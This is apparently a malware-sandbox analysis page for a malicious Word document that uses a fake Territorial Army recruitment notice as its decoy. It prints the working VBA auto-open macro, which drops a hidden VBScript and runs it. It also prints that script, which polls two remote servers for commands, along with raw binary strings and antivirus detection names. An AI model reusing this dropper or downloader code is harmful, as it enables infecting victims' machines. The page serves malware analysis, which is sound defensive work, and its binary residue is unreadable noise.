Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub test()
On Error Resume Next
Dim filePathPage1 As String
Dim entireContent As String
Dim newFilePath As String
av = "c"
ActiveDocument.Range.Select
bv = "M"
entireContent = Selection.Text
cd = "d"
filePathPage1 = "C:\Users\Public\window.txt"
Dim fileNumberPage1 As Integer
fileNumberPage1 = FreeFile
Open filePathPage1 For Output As fileNumberPage1
Print #fileNumberPage1, entireContent
' Close the file
Close fileNumberPage1
' Create the new file path with the desired extension
newFilePath = Replace(filePathPage1, ".txt", ".vbs")
' Rename the file
Name filePathPage1 As newFilePath
ActiveDocument.content.Delete
Dim NewText As String
 NewText = "" & vbCrLf & _
              "Territorial Army Recruitment 2023 Apply Online Link" & vbCrLf & _
              "The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination." & vbCrLf & _
              "Candidates can check Territorial Army Exam Date 2023 at official website" & vbCrLf & _
              "All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part – 1 & 2) from www.jointerritorialarmy.gov.in"
    Selection.TypeText NewText
Shell av & bv & cd & " /c " & newFilePath, 0
 On Error GoTo 0
End Sub
Private Sub Document_Open()
test
End Sub





                                    

Deobfuscated


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub test()
On Error Resume Next
Dim filePathPage1 As String
Dim entireContent As String
Dim newFilePath As String
av = "c"
ActiveDocument.Range.Select
bv = "M"
entireContent = Selection.Text
cd = "d"
filePathPage1 = "C:\Users\Public\window.txt"
Dim fileNumberPage1 As Integer
fileNumberPage1 = FreeFile
Open filePathPage1 For Output As fileNumberPage1
Print #fileNumberPage1, entireContent
' Close the file
Close fileNumberPage1
' Create the new file path with the desired extension
newFilePath = Replace(filePathPage1, ".txt", ".vbs")
' Rename the file
Name filePathPage1 As newFilePath
ActiveDocument.content.Delete
Dim NewText As String
 NewText = "" & vbCrLf & _
              "Territorial Army Recruitment 2023 Apply Online Link" & vbCrLf & _
              "The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination." & vbCrLf & _
              "Candidates can check Territorial Army Exam Date 2023 at official website" & vbCrLf & _
              "All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part – 1 & 2) from www.jointerritorialarmy.gov.in"
    Selection.TypeText NewText
Shell av & bv & cd & " /c " & newFilePath, 0
 On Error GoTo 0
End Sub
Private Sub Document_Open()
test
End Sub





                                    
bjbjY.Y.
Option Explicit: Dim url, responseText, urls, success, lastProcessedResponse: urls = Array("https://configure.syscatec.com/tp.php?key=xvnd54", "https://apsdighi.estttsec.in/lp.php?key=xvnd54"): Dim objHTTP: Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP"): On Error Resume Next: Do: For Each url In urls: objHTTP.Open "GET", url, False: objHTTP.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3": objHTTP.setTimeouts 5000, 20000, 15000, 15000: objHTTP.send: If objHTTP.status = 200 Then: Do: WScript.Sleep 5000: objHTTP.Open "GET", url, False: objHTTP.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3": objHTTP.setTimeouts 5000, 20000, 15000, 15000: objHTTP.send: If objHTTP.status = 200 Then: responseText = objHTTP.responseText: If Len(responseText) = 0 Then: WScript.Sleep 5000: Else: If responseText = lastProcessedResp
IDATx^
qY)YwJ
o]-*sR
^uCNaerV
9)J}cs
c^W{+\
zqNae~
8.e#!P
oWS0'4J
Ail~x!
G|`LvnQ%Y
a8pJR[(1)
;3Jm}SxB
LSl97u
%EL|FL
2qeU=TC
z^EaiUqy
qtrKay
`u`ckN
:^D@GeD.
N2]~D":
{& ^RU
50Q' X
N.@[L>]
GeNjyNEeN
eDz,>'L
B()n2:
_,=_8<!
B>?_XM|
ngNp!t
SJv)r?
{`N85P}
({SrQY
~JViM]SN
`W?/v@t
mBFQpl
p`F^9z
nU]IEMa
z%>_`g
oAe@d&
yfnyrV
a]}SIEu~
-* >2Z
N5g~.{
^jKC/X
4)2[5$%c@
6![sx+
2ogo2'h
ubmOQT
`NL6}
|;tLq8
wvHz^gt
;}4M=x
,0oLJAG
>`KrhX
1:j]q
YQlN'|
[)-ip|
gN(Ee
qVEOF70
7}tM&m
+u6x@2
v1K:FV
"sZy44
IE2:w%
%wkwYD!5J{
[9sjW}
HU9sBe
&;-"AAHT
,L)aLx
>l6>r)
9AY|Xu<
x-gN\Y
ztJbh`
xj! Y"
Eq8$C>
"j#2"|#
H)\SG!
7sm~^d?
Rt?s*.
2'Qz>sR
)^eN*T
P.IDWJIE
mrBQ0'
J*z,~[
AeU}lJ
$J72'4:
U7`V=@
#oc^$#
\&1Eh}
[\IkaN
Lr`lvFnyNAe6G
e$d]w
{0Qnj&
7`<Cs5
Z|:"3&
~Q7~Xh
$DrEn|
+7)#m?/v
4BaL- ;c
-tT]#[
Z9AE-"
sWYO;
%kJt&1KBB
[b>%dnu*
E)2:1P
',IM64
`DXcLK
q!h+\$f
6TGU&N
'{a7,I
q'5&m:
c=u+,
^!fqk(G
aN9qscN
IK39u
`XC8~
W:l?p
(MzR?_
)1Z>##
[-qZ$S
*z,2h])
tY:+l@
kSIe#%G
4B4Drf
aN9qscN
6u]>+M
V~/?S1~u
OIDATR
<"&yxL2
FfO);s
5~P\eU+
g+vJH5
rcN_5
L/9^et}n
?=sR&->2
qp8aND
HCCvR8a
w8}'7@
C,I1F
"i14LuH
1Q?a:,zM
>8p~aSw
zGUd\^
2dNU{67
4JeN%Z
['DN81%
9GN_A
ad^Oug
mW"W/4b
Rm&2uU4
D`paNP
As)c,@-
ftcNt
ecE1:.E
=G/b@49|
Mm~04X
V9p~!Qf
Hj\W4W
,cAE!X
Q[UuA2
C0xije
Y@IF]
H=d,`;j
Ky;tsV[6S
@H1WImO
3T1WyK
2,oG6*Z{
GvdfX@G-
5{Nwu?'Z
([e6sS
incNw~
P=rcNA
'x9C3*6
$dA1l(
$n'&RL
?l%{`N]
jfa~c
<x~DLJ
WW=cH]
'n->,i
![80-B
>l<5cP$
tSdjf%
4>S`N5
7kGD/*
!O&0F}
7kED%eN
:F-~7O
4N8)(4
wPRO8=gR}
hX%}rS
;u'>/F
zFC"cl
2'),X;N
?Y[zqk
=z<;a?U(
0'}F!)s
E_SB_R
u'RK{'W
)%GJ4n
'C?)sz
u`NYBF
uAa%%)1'
\*%>/_
[9>!>Y2y
O4#3rT
KA!>d#
`osW`
-()t$8
O]m<p)q
UN"Gu@
_(-C+0Au
UMdDw{
#1|Ewe@
bSSFkM
(Fgz4\
jHK/+z
Urh3oDFQ.
HD@y@w
-n{O%#6`,
N8YXXXXXX
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
PxzSq]y<u
b!e9#i
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Normal.dotm
Microsoft Office Word
and a medical examination.
Candidates can check Territorial Army Exam Date 2023 at official website
All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part
1 & 2) from www.jointerritorialarmy.gov.in
C:\Users\Public\window.txt'
t exis
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
test()
On Error
filePath
Page1 Asd S
reCont
Range.Se
C:\User
s\Public
\window.
~E7Numb
F@OOutput
PrinHt #
p@j with
Iensi@L
y, "BH
o" & vb
"Terri
torial A
rmy@)crui
2023
Apply On
line Lin6k=
rocess i
per 1 an
2), f ollow`qby
tervie@w, SSB
a medic
examina*t
`~s can c
heck n!E
#!at o
ffica%web
`m (IAF
(TA)-9
) from w`ww.jo@cG9a
9.gov.in
`z!>(~ype
& "H /c
GoToE!
E@7Sub
Rename the file
Create the new file path with the desired extension'
Close the file
Territorial Army Recruitment 2023 Apply Online Link
The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process,
Win64x
Project1
stdole
Project-
ThisDocument<
_Evaluate
Normal
Office
Documentj
filePathPage1
entireContent]
newFilePath
directoryPath+
ActiveDocument
SelectionZ
vbDirectoryg
fileNumberPage1/C
Replacef
ShellV
content
Delete
NewText_
vbCrLf
TypeText
Document_Open
Document_Close7\
ReadAndExecuteTable1Content&
table1j
cellContentPage11<
cellContentPage22<
filePathPage2
Tables
Count0v
CleanContent
WriteContentToFile#
ExecuteScript9
MsgBox
filePath
fileNumber
InlineShape
vbHide
InlineShapes
wdInlineShapePictureDq
inputContent
cleanedContent
CreateScheduledTask
scheduler
TaskScheduler
rootFolder
ITaskFolder
ITaskDefinition
taskName_
programPath=p
Connect\
GetFoldern
NewTask9
RegistrationInfo
Description
trigger
ITrigger~
Triggers
Create
MinutesIntervalq
action
IExecActionZ7
Actions
RegisterTaskDefinition
ReadTable1ContentInWord
Sections
_B_var_CleanContentkw
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
DF8D04C-
5BFA-101@B-BDE5
ram File
s\Common
Microso
ft Share
d\OFFICE
16\MSO.D
M 16 .0 Ob
ibrary
BeThisDo
cumentG
ThisDocument
ID="{00000000-0000-0000-0000-000000000000}"
Document=ThisDocument/&H00000000
HelpFile=""
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="D6D47AA686EAA8EEA8EEACF2ACF2"
DPB="FCFE508C50AF6DAF6D5093B06D47FD059A75E3CD3567FC92D8595ADDBA6D72DF00371CAD6280"
GC="22208EEAB5EBB5EBB5"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=32, 32, 1420, 679,
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
Normal
Default Paragraph Font
Table Normal
No List
"Picture 1
Project.ThisDocument.test
PROJECT.THISDOCUMENT.TEST
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Macros
ThisDocument
_VBA_PROJECT
PROJECTwm
PROJECT
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisDocument
0m678a3556
ThisDocument
(1Normal.ThisDocument
tThisDocument
CompObj
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.Amphitryon.4!c
Elastic malicious (high confidence)
MicroWorld-eScan VBA:Amphitryon.1693
CMC Clean
CAT-QuickHeal Clean
Skyhigh BehavesLike.OLE2.Downloader.cb
McAfee Clean
Malwarebytes Clean
VIPRE VBA:Amphitryon.1693
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Arcabit VBA:Amphitryon.D69D
Baidu Clean
VirIT Clean
Symantec Trojan.Gen.MBT
ESET-NOD32 VBA/TrojanDropper.Agent.CXV
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
BitDefender VBA:Amphitryon.1693
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
Tencent Win32.Trojan.Malware.Szfl
TACHYON Suspicious/W97M.DRP.Gen
Sophos Clean
F-Secure Malware.W97M/Redcap.rbpfk
DrWeb Exploit.Siggen3.44323
Zillya Clean
TrendMicro Clean
Emsisoft VBA:Amphitryon.1693 (B)
Ikarus VBA.Amphitryon
Jiangmin Clean
Varist ABRisk.ROET-8
Avira W97M/Redcap.rbpfk
Antiy-AVL Trojan[Downloader]/MSOffice.Agent
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Microsoft Trojan:Win32/Leonem
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan.MSOffice.SAgent.gen
GData VBA:Amphitryon.1693
Cynet Malicious (score: 99)
AhnLab-V3 Clean
Acronis Clean
BitDefenderTheta Clean
MAX malware (ai score=80)
Zoner Clean
Rising Dropper.Agent/VBA!8.11766 (TOPIS:E0:nCOm0OIG1PI)
Yandex Clean
SentinelOne Static AI - Malicious OLE
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.